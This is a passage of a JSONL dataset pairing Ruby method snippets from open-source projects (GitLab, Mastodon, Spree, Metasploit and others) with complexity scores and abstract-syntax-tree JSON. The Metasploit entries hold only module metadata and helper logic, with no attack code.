+{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/routes.rb","start_line":20,"raw_source":"def self.append_routes(&block)\n @append_routes ||= []\n # See comment in add_routes.\n @append_routes << block unless @append_routes.include?(block)\n end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"append_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@append_routes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@append_routes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@append_routes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"6b9e6a37-78cb-4b67-8ff9-a6069caa5c7c"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_product_feature.rb","start_line":85,"raw_source":"def self.feature_all_children(identifier, sort = true)\n children = feature_children(identifier, false)\n return [] if children.empty?\n\n result = children + children.flat_map { |c| feature_all_children(c, false) }\n sort ? sort_children(result) : result\n end","complexity_score":12.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"feature_all_children\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]},{\"type\":\"optarg\",\"children\":[\"sort\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"send\",\"children\":[null,\"feature_children\",{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"feature_all_children\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_children\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"404f03f0-b237-4281-a827-aa3b3e5be79a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/linux/tftp/ppc.rb","start_line":10,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'TFTP Fetch',\n 'Description' => 'Fetch and execute an PPC payload from an TFTP server.',\n 'Author' => ['Brendan Watters', 'Spencer McIntyre'],\n 'Platform' => 'linux',\n 'Arch' => ARCH_CMD,\n 'License' => MSF_LICENSE,\n 'AdaptedArch' => ARCH_PPC,\n 'AdaptedPlatform' => 'linux'\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"TFTP Fetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Fetch and execute an PPC payload from an TFTP server.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brendan Watters\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedArch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedPlatform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]}","id":"0a567c26-1adb-49a5-9ea3-92e72752544e"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/spec/system/page_objects/pages/topic.rb","start_line":52,"raw_source":"def has_assignment_action?(args)\n assignee = args[:group]&.name || args[:user]&.username\n\n container =\n args[:at_post] ? find(\"#post_#{args[:at_post]}#{args[:class_attribute] || \"\"}\") : page\n\n post_content =\n I18n.t(\n \"js.action_codes.#{args[:action]}\",\n path: \"\",\n who: \"@#{assignee}\",\n when: \"just now\",\n )\n\n if args[:action] == \"assigned_to_post\" || args[:action] == \"unassigned_from_post\"\n post_content.gsub!(%r{]*>(.*?)}, '\\1')\n end\n\n container.has_content?(:all, post_content)\n end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"has_assignment_action?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assignee\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]},\"name\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"container\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at_post\"]}]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#post_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"at_post\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class_attribute\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"js.action_codes.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"who\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignee\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"when\"]},{\"type\":\"str\",\"children\":[\"just now\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"assigned_to_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"unassigned_from_post\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_content\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"]*>(.*?)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\\1\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"has_content?\",{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"lvar\",\"children\":[\"post_content\"]}]}]}]}","id":"1548cfa4-a000-4355-a215-cbccec79cb3c"}
+{"repo_name":"forem","file_path":"./repos/forem/app/policies/message_policy.rb","start_line":18,"raw_source":"def user_sender?\n record.user_id == user.id\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_sender?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}","id":"15db95e6-4707-44f7-bd04-dc7946328c54"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/namespaces/projects_finder.rb","start_line":78,"raw_source":"def by_similarity(items)\n return items unless params[:search].present?\n\n items.merge(Project.search(params[:search]))\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_similarity\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"search\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search\"]}]}]}]}]}]}","id":"1133f49d-b798-4739-90cf-ac47ecf7091a"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/non_atomic_file_operation.rb","start_line":98,"raw_source":"def allowable_use_with_if?(if_node)\n if_node.condition.operator_keyword? || if_node.else_branch\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"allowable_use_with_if?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"if_node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"if_node\"]},\"condition\"]},\"operator_keyword?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"if_node\"]},\"else_branch\"]}]}]}","id":"db89fe57-06f4-4ddc-a615-04b6d9417d1a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/autoroute.rb","start_line":376,"raw_source":"def get_subnet(ip_addr, netmask)\n return nil if !validate_cmd(ip_addr, netmask) # make sure IP and netmask are valid\n\n nets = ip_addr.split('.')\n masks = netmask.split('.')\n output = ''\n\n 4.times do |index|\n octet = get_subnet_octet(int_or_nil(nets[index]), int_or_nil(masks[index]))\n return nil if !octet\n\n output << octet.to_s\n output << '.' if index < 3\n end\n return output\n end","complexity_score":27.95,"ast_json":"{\"type\":\"def\",\"children\":[\"get_subnet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip_addr\"]},{\"type\":\"arg\",\"children\":[\"netmask\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_cmd\",{\"type\":\"lvar\",\"children\":[\"ip_addr\"]},{\"type\":\"lvar\",\"children\":[\"netmask\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"nets\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_addr\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"masks\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"netmask\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"octet\",{\"type\":\"send\",\"children\":[null,\"get_subnet_octet\",{\"type\":\"send\",\"children\":[null,\"int_or_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nets\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"int_or_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"masks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"octet\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"octet\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"d6cc224f-e469-4ffc-9cf8-1d18a1839586"}
+{"repo_name":"forem","file_path":"./repos/forem/app/controllers/profile_pins_controller.rb","start_line":4,"raw_source":"def create\n @profile_pin = ProfilePin.new\n @profile_pin.profile_id = current_user.id\n @profile_pin.profile_type = \"User\"\n @profile_pin.pinnable_id = profile_pin_params[:pinnable_id].to_i\n @profile_pin.pinnable_type = \"Article\"\n if @profile_pin.save\n flash[:success] = I18n.t(\"views.pins.pinned\")\n else\n flash[:error] = I18n.t(\"views.pins.error\")\n end\n redirect_back(fallback_location: \"/dashboard\")\n bust_user_profile\n end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@profile_pin\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProfilePin\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"profile_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"profile_type=\",{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"pinnable_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"profile_pin_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pinnable_id\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"pinnable_type=\",{\"type\":\"str\",\"children\":[\"Article\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@profile_pin\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.pins.pinned\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.pins.error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_location\"]},{\"type\":\"str\",\"children\":[\"/dashboard\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"bust_user_profile\"]}]}]}","id":"bc7a2fdd-2d27-4aa4-af10-2fd19d075195"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241023085639_add_foreign_key_to_packages_conan_file_metadata_for_package_reference.rb","start_line":16,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :packages_conan_file_metadata, column: :package_reference_id\n end\n remove_concurrent_index_by_name :packages_conan_file_metadata, INDEX_NAME\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"package_reference_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"packages_conan_file_metadata\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"871121ce-de0f-4347-86dd-144f76f31c70"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/concerns/queue.rb","start_line":114,"raw_source":"def prefix\n name_elements[..-2].join('_').downcase\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name_elements\"]},\"[]\",{\"type\":\"irange\",\"children\":[null,{\"type\":\"int\",\"children\":[-2]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"downcase\"]}]}","id":"4e3302e6-58be-45b3-aa6e-a480abf3b4cf"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":235,"raw_source":"def report_services(host_object)\n return unless in_tag(\"HostData\")\n return unless host_object.kind_of? ::Mdm::Host\n return unless @report_data[:ports]\n return if @report_data[:ports].empty?\n @report_data[:ports].each do |svc|\n db_report(:service, svc.merge(:host => host_object))\n end\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_services\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"HostData\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"svc\"]}]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]}]}]}]}]}]}]}","id":"b55c89d0-7037-4976-b07b-91719d4b7a5c"}
+{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration_spec.rb","start_line":2551,"raw_source":"def use_seed_on(registry)\n registry.fetch(:random).order([example_numbered(1), example_numbered(2)])\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"use_seed_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"registry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"registry\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"random\"]}]},\"order\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"example_numbered\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"example_numbered\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"f9952369-504d-4763-b5e2-45e814e0f1f3"}
+{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/controller_helpers/auth.rb","start_line":49,"raw_source":"def store_location(location = nil)\n return if try_spree_current_user\n\n location ||= request.fullpath\n session_key = store_location_session_key\n\n session[session_key] = location\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store_location\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"location\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"fullpath\"]}]},{\"type\":\"lvasgn\",\"children\":[\"session_key\",{\"type\":\"send\",\"children\":[null,\"store_location_session_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"session_key\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]}","id":"e1438170-f4c0-4e30-8345-f1bd0ed6189e"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/project_phase_filter_dependency_representer.rb","start_line":44,"raw_source":"def href_callback\n api_v3_paths.project_phase_definitions\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"href_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"project_phase_definitions\"]}]}","id":"740765d7-a4b4-49ae-b9ef-52885aee9a2c"}
+{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/data/20250212170921_update_mode_in_embedding_models.rb","start_line":4,"raw_source":"def up\n EmbeddingModel.find_by(mode: \"openai\")&.update(mode: \"open_ai\")\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmbeddingModel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"openai\"]}]}]}]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"open_ai\"]}]}]}]}]}","id":"fcfe8fc3-7cec-40a2-b5a1-4a55e3c1ecab"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":376,"raw_source":"def raw_diffs(options = {})\n if options[:ignore_whitespace_change]\n @diffs_no_whitespace ||= compare.diffs(options)\n else\n @raw_diffs ||= {}\n @raw_diffs[options] ||= load_diffs(options)\n end\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_diffs\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_whitespace_change\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diffs_no_whitespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},\"diffs\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@raw_diffs\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_diffs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"load_diffs\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"77a82e0a-7ccc-46f8-b4bb-4a9a6a6f0c44"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/account/fasp_concern.rb","start_line":14,"raw_source":"def announce_new_account_to_subscribed_fasp\n return unless Mastodon::Feature.fasp_enabled?\n return unless discoverable?\n\n uri = ActivityPub::TagManager.instance.uri_for(self)\n Fasp::AnnounceAccountLifecycleEventWorker.perform_async(uri, 'new')\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"announce_new_account_to_subscribed_fasp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Feature\"]},\"fasp_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discoverable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"Announce